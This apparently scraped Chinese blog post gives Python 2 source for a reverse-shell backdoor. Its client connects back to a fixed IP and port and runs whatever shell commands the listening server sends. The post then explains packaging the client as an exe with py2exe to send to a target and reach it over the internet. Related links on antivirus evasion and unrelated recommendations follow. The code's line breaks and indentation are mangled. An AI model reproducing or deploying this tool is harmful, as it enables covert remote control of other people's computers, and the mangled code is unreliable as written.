构思:

client:反向连接server,执行shell命令

server:发送命令,控制客户端

import subprocess
import socket
import threading target="172.22.40.41"
port=55555
buffer="" def sendMag(c_socket):
global buffer while True:
#send cmd if len(buffer):
try:
print "c_buffer>>>>", buffer
c_socket.send(buffer)
except:
print "socket send error" print buffer
buffer="" def getMag(client_socket):
global buffer while True:
resc=""
len_resc=1
while len_resc:
datas=client_socket.recv(4096)
len_resc=len(datas)
resc+=datas
if len_resc<4096:
break if not len(resc):
res_cmd="ERROR COMMAND"
res_cmd=cmd(resc)
try: if not len(res_cmd):
res_cmd="NO MAG" buffer+=res_cmd except:
print "soc send reeor" def c_rec():
global target
global port
client_socket=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try: client_socket.connect((target,port))
except:
print "SOCKET CONNECT FAILED" get_thread=threading.Thread(target=getMag,args=(client_socket,))
get_thread.start()
send_thread=threading.Thread(target=sendMag,args=(client_socket,))
send_thread.start() def cmd(str):
str=str.rstrip()
try: res_cmd=subprocess.check_output(str,shell=True) except:
res_cmd="ERROR COMMEND!!" if not len(res_cmd):
res_cmd="ERROR BACK" return res_cmd def main():
c_rec() main()
import socket
import threading target="0.0.0.0"
port=55555 def s_loop():
global target
global port
server=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server.bind((target,port)) server.listen(5)
while True:
c_socket,addr=server.accept()
print "A Client Connect" send_thread=threading.Thread(target=sendMag,args=(c_socket,))
send_thread.start() get_thread=threading.Thread(target=getMag,args=(c_socket,))
get_thread.start() def sendMag(c_socket):
while True:
#send cmd command=raw_input("#")
try: if len(command):
c_socket.send(command) except:
print "server send error" def getMag(c_socket):
while True:
#get mag from client
recvs="" len_rec=1
while len_rec:
datas=c_socket.recv(4096) len_rec=len(datas)
recvs+=datas
if len_rec<4096:
break print "get from Catc::",recvs def main():
s_loop() main()

可以用py2exe生成exe执行文件,发给测试者,如果有域名就更好了,可以在外网使用。

假设有一个Hello.py需要生成exe文件

习惯在同一目录下新建setup.py文件

内容:

from distutils.core import setup
import py2exe setup(console=['x:/xxx/hello.py'])

注意一定是全路径。

cmd进入setup.py的目录下:

python ./setup.py py2exe

成功会在同级目录生成dist、build,exe文件在dist里

Python写黑客小工具,360免杀的更多相关文章

  1. Python写安全小工具-TCP全连接端口扫描器

    通过端口扫描我们可以知道目标主机都开放了哪些服务,下面通过TCP connect来实现一个TCP全连接端口扫描器. 一个简单的端口扫描器 #!/usr/bin/python3 # -*- coding ...

  2. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  3. Python趣味实用小工具

    代码地址如下:http://www.demodashi.com/demo/12918.html python 趣味实用小工具 概述 用python实现的三个趣味实用小工具: 图片转Execl工具 , ...

  4. Python+Tkinter 密保小工具

    上图 代码 核心 编解码方面 Tkinter界面更新 总结 昨天被一同学告知,网上的一个QQ密码库中有我的一条记录,当时我就震惊了,赶紧换了密码.当然了,这件事也给了我一个警示,那就是定期的更换自己的 ...

  5. 应急分析异常通信的小思路和自己写的小工具(查询CNAME和A记录)

    一.背景: 在很多时候,应急会发现.卧槽,异常连接,只有一个域名或者IP. 怎么办?上防火墙看记录,查域名对应的记录累成狗,自己把之前的代码改了改,写了个小工具,一条命令查询DNS相关记录,也可以指定 ...

  6. python提效小工具-统计xmind用例数量

    问题:做测试的朋友们经常会用到xmind这个工具来梳理测试点或写测试用例,但是xmind8没有自带的统计测试用例,其他版本的xmind有些自带节点数量统计功能,但也也不会累计最终的数量,导致统计测试工 ...

  7. [No00006C]文件名复制,归档小助手【自己写的小工具,希望能帮助大家】

    特别补充一句:软件可以一次性复制多个文件的文件名. Windows 中的复制文件名实在是有些不方便 ,需要点右键 "重命名"之后再点右键选择"复制"才可复制文件 ...

  8. 分享一个很早之前写的小工具DtSpyPlus

    几年前写的一个获取windows窗体基本信息和屏幕取色的小工具 ,一直在用. 下载地址 http://files.cnblogs.com/dint/SpyPlus.zip

  9. 几个可以提高工作效率的Python内置小工具

    在这篇文章里,我们将会介绍4个Python解释器自身提供的小工具.这些小工具在笔者的日常工作中经常用到,减少了各种时间的浪费,然而,却很容易被大家忽略.每当有新来的同事看到我这么使用时,都忍不住感叹, ...

随机推荐

  1. android 组件使用()

    程序入口点 类似于win32程序里的WinMain函数,Android自然也有它的程序入口点.它通过在AndroidManifest.xml文件中配置来指明,可以看到名为NotesList的activ ...

  2. 【BZOJ3413】匹配(后缀自动机,线段树合并)

    [BZOJ3413]匹配(后缀自动机,线段树合并) 题面 BZOJ 题解 很好的一道题目. 做一个转化,匹配的次数显然就是在可以匹配的区间中,每个前缀的出现次数之和. 首先是空前缀的出现次数,意味着你 ...

  3. 【BZOJ2245】[SDOI2011]工作安排(费用流)

    [BZOJ2245][SDOI2011]工作安排(费用流) 题面 BZOJ 洛谷 题解 裸的费用流吧. 不需要拆点,只需要连边就好了,保证了\(W_j<W_{j+1}\). #include&l ...

  4. [hgoi#2019/2/24]玄学考试

    感想 对于这次考试,真的不想说什么了,太玄学了!!! t1输出比标准输出长,这是什么操作???难道要关文件???但是交到oj上又A掉了.这是什么操作. t2还好,没有出什么意外...但是要吐槽一下出题 ...

  5. [SDOI2016]储能表——数位DP

    挺隐蔽的数位DP.少见 其实减到0不减了挺难处理.....然后就懵了. 其实换个思路: xor小于k的哪些都没了, 只要留下(i^j)大于等于k的那些数的和以及个数, 和-个数*k就是答案 数位DP即 ...

  6. ASP.NET MVC 网站优化之压缩技术

    压缩 html 可以去除代码中无用的空格等,这样可提高网站的加载速度并节省带宽. 实现 ActionFilter 来完成 html 的压缩 public class WhitespaceFilterA ...

  7. 多个 ng-app 中 Controllers & Services 之间的通信

    原文发布在个人独立博客上,链接:http://pengisgood.github.io/2016/01/31/communication-between-multiple-angular-apps/ ...

  8. shell中脚本变量和函数变量的作用域

    http://blog.csdn.net/ltx19860420/article/details/5570902 1. shell脚本中定义的变量是global的,其作用域从被定义的地方开始,到she ...

  9. (转)Go中的string和[]byte对比

    本文转自:https://sheepbao.github.io/post/golang_byte_slice_and_string/ 作者:boya 声明:本文目的仅仅作为个人mark,所以在翻译的过 ...

  10. 数据正规化 (data normalization) 的原理及实现 (Python sklearn)

    原理 数据正规化(data normalization)是将数据的每个样本(向量)变换为单位范数的向量,各样本之间是相互独立的.其实际上,是对向量中的每个分量值除以正规化因子.常用的正规化因子有 L1 ...